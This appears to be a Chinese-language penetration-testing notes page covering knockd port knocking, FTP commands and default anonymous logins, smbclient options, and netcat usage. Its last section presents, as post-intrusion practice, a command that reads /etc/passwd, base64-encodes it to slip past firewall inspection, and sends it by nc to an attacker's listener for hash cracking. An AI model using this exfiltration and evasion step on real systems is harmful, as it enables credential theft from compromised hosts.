跳转至

监听/连接工具

Knockd

原理

敲门(knock)指的是我们从自己的客户端设备(pc、笔记本或者手机)向服务器IP发送一系列实现约好的暗号,而服务器上需要相应的安装接收暗号的服务knockd,它在接收到正确的暗号的时候,会临时性的为敲门者开一段时间的门并随后关上(当然也能够配置成一直开着),我们要在这几秒钟里面登录成功并且保持连接,如果不小心断了连接就要重新敲门。

knock动作的实质就是连续的向指定的ip的约定的端口连续的发送多个tcp或者udp包,比如我们可以通过*telnet 服务器地址 端口号 命令来发送tcp包,也可以直接在浏览器地址栏里面用 *http://服务器地址:端口号 的方式来让浏览器发出与服务器指定端口tcp握手的SYN包。但是最好用的还是直接下载knock工具(windows版、mac版),用 knock 服务器地址 端口号 的方式来实现敲门

简历

如果说knock是敲门的来宾,knockd就是应门的门童。inux下的守护进程(Linux Daemon )常用XXXd来命名,比如apache的守护进程httpd,knockd就是knock的守护进程,所以服务器只有安装了knockd,才能正确的相应客户端的knock暗号。

详细说明

Ftp

常用命令

*一、ftp*的get命令*和mget*命令有何不同?

**get**一次只下载一个文件;mget一次可以下载多个文件,而且支持通配符,需要注意的是在mget的时侯,需要对每一个文件都选择y/n,如果想不交互的下载全部的文件,可以先用prompt**命令**关掉交互方式(关闭:prompt off;打开:prompt on)。

*二、FTP*使用什么*命令*来定位服务器与本地硬盘的路径?

**ftp**中用lcd切换本地路径,用cd切换远程服务器的路径。常用到的**命令**如下:

  • cd目录名(进入服务器目录) lcd目录名(进入本机目录)
  • cd \(退到服务器根目录) lcd \(退到本机根目录)
  • cd ..(退回到上一级目录) lcd ..(退回到上一级目录)

三、!命令有何作用?

执行本地shell**命令**

如:!dir(显示本机当前目录内容),如果不加!如:dir(显示服务器当前目录内容)

**四、ftp**命令支持含有空格的文件夹/文件名吗?

支持,只要在引用时加上双引号“”即可!

五、下面是命令行方式使用*FTP*的实战练习

假设有一**ftp**服务器:ftp.test.com,用户名:username,密码:user1234。在本地电脑D:盘创建一个文件夹“qint”。将要上传的文件复制到D:\qint里。通过**FTP**命令将文件从本地上传,从服务器下载的步骤如下:

1、“开始”→“运行”→输入“FTP”

2、open ftp.test.com

注意:这一步可以与第一步合并,在“运行”里直接输入:ftp ftp.test.com。如果你的**FTP**服务器不是用的21默认端口,假如端口是2121,那么此步的**命令**应在后面空格加2121,即“open ftp.test.com 2121

3、username

注意:提示你输入用户名

4、user1234

注意:提示你输入密码,密码不回显,打完密码后回车即可。如果你的密码输入错误,将不会提示你重新输入,这时你要键入“user”命令,将会出现第三步,你可以重新输入用户名和密码。

5、dir

注意:你成功登陆后就可以用dir查看**命令**查看**FTP**服务器中的文件及目录,用ls**命令**只可以查看文件。

6、mkdir qint

注意:在**FTP**服务器上根目录下建立qint目录

7、cd qint

注意:进入目录qint,用“cd 你的目录名”可以进入当前目录的下一级目录,这跟DOS一样。

8、bin

注意:采用二进制传输。如果你要上传下载,这一步很重要,不先执行这个**命令**,上传下载会很慢。大多数系统(包括UNIX系统)只有两种模式:文本模式和二进制模式。文本传输器使用ASCII字符,并由回车键和换行符分开,而二进制不用转换或格式化就可传字符,二进制模式比文本模式更快,并且可以传输所有ASCII值,所以系统管理员一般将**FTP**设置成二进制模式。一般来说,我们最好都用binary方式,这样可以保证不出错。

9、lcd d:\qint

注意:定位本地默认文件夹,在前面已事先在D:盘创建

10、!dir

注意:查看本地文件夹中的文件及目录

11、put i001.jpg

注意:将当前目录(d:\qint)中的文件i001.jpg上传到**FTP**服务器默认目录。可以用“mput .”将所有文件上传到**FTP**服务器上。

12、get d123.jpg

注意:将**FTP**服务器默认目录中的文件d123.jpg下载到当前目录下(d:\qint)。可以用“mget .”将所有文件下载到d:\qint

13、delete .

注意:删除服务器对应目录qint中的所有文件。

14、cd ..

注意:返回至上一级目录,即根目录。返回上一级目录用“cd ..”要注意,中间有空格。返回根目录用“cd \”。

15、mrdir qint

注意:删除目录qint。删除目录,在此目录下不能有文件及目录,不然将无法删除。

16、bye

注意:退出**FTP**服务器。


上传下载时特别要注意服务器及本地电脑的当前目录,文件是从哪里到哪里的问题。查看**FTP**服务器的当前目录**命令**为pwd,可以用cd**命令**定位服务器的目录。可以用lcd**命令**定位本地电脑的目录。

以上实例应用到了采用**FTP**命令**行方式上传下载的最常用**命令**,你还可以用**命令**“?”查看更多的**命令。


匿名登录

CSS
FTP的匿名登录一般有三种:
1、 用户名:anonymous 密码:Email或者为空
2、 用户名:FTP 密码:FTP或者为空
3、 用户名:USER 密码:pass

Tftp

菜鸟教程详解

Smbclient

介绍

CSS
smbclient是一个smb服务器的客户端的管理程序,可以交互式的访问samba服务器。
此命令的适用范围:RedHat、RHEL、Ubuntu、CentOS、Fedora、SUSE、openSUSE。

选项

Bash
  -? | --help
        显示帮助文档
  -V | --version
        显示命令版本信息
  -R | --name-resolve
        将NetBIOS名称解析成对应的IP地址顺序
  -M | --message
        使用winpopup协议发送消息
  -p | --port
        指定连接端口,默认TCP的139
  -m | --max-protocol
        协议的最大版本
  -I | --ip-address
        指定连接的ip地址
  -E | --stderr
        将信息送到标准出错设备
  -L | --list
        显示服务器的资源列表
  -b | --send-buffer
        设置传输过程的缓冲区大小
  -e | --encyrpt
        要求服务器采用加密方式
  -d | --debuglevel
        设置调试模式级别,级别越高显示的日志就月详细
  -l | ---log-basename
        日志文件的存放目录
  -N | --no-pass
        不使用密码
  -A |  从指定文件读取用户名和密码,文件格式如下:
        username=<value>
        password=<value>
        domain=<value>
  -U | --user=username[%password]
        指定用户名和密码
  -n |  指定NetBIOS名称
  -W | --workgroup
        指定用户的smb域
  -T | --tar
        将服务器共享的文件打包成tar格式
  -s |  指定smb.conf目录

登录后常用命令

Bash
登录samba服务器后支持的命令有
  -? [cmd]
        显示命令的说明文档,如果不指定命令,列出所有的命令文档
  ![shell]
        运行shell
  ......

示例

Bash
 [root@localhost ~]# cat wj.txt     //查看文件内容
  username=david
  password=543092
  [root@localhost ~]# smbclient //192.168.1.8/wj -A wj.txt      //登录服务器,从指定文件读取用户名和密码
  Domain=[MYGROUP] OS=[Unix] Server=[Samba 3.6.23-51.el6]
  smb: \> 

nc

NetCat,简称NC,也叫瑞士军刀,因其短小精悍、可靠,受许多黑客喜爱。

Text Only
[v1.10-46]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data')
Text Only
-h 帮助信息
-l 监听模式
-n 指定数字的IP地址,不会进行DNS解析
-p 指定监听的本地端口
-u UDP模式
-v 显示详细的信息
-i secs延迟时间 
-w secs 超时时间 
-z 表示扫描时不发送任何数据包
-q 限制会话的次数 (到达次数后自动关闭会话,用于证明数据传输完成)

传输文件

Bash
接收方:nc -lp 4444 > xx.txt
发送方:nc -nv [接收方IP] 4444 < [要传的文件] -q 1

加密传输

入侵了一个Linux系统后查看敏感目录,然后把这些敏感的东西传到我自己的kali来,然后穷举哈希值破解密码,但是防火墙会检测你传的是什么,可能会被拦截,因此需要加密传输。下面演示的是Base64编码,实战中可以用一些密码学算法进行加密

Bash
攻击方:nc -lvp 4444 > kali.txt  
# 监听4444端口,并把监听到的内容覆盖写入到kali.txt
目标:cat /etc/passwd | base64 | nc -nv 192.168.64.137 4444 -q 1 
# 查看passwd内容并进行base64编码并传输给192.168.64.137的4444端口,传输完成就退出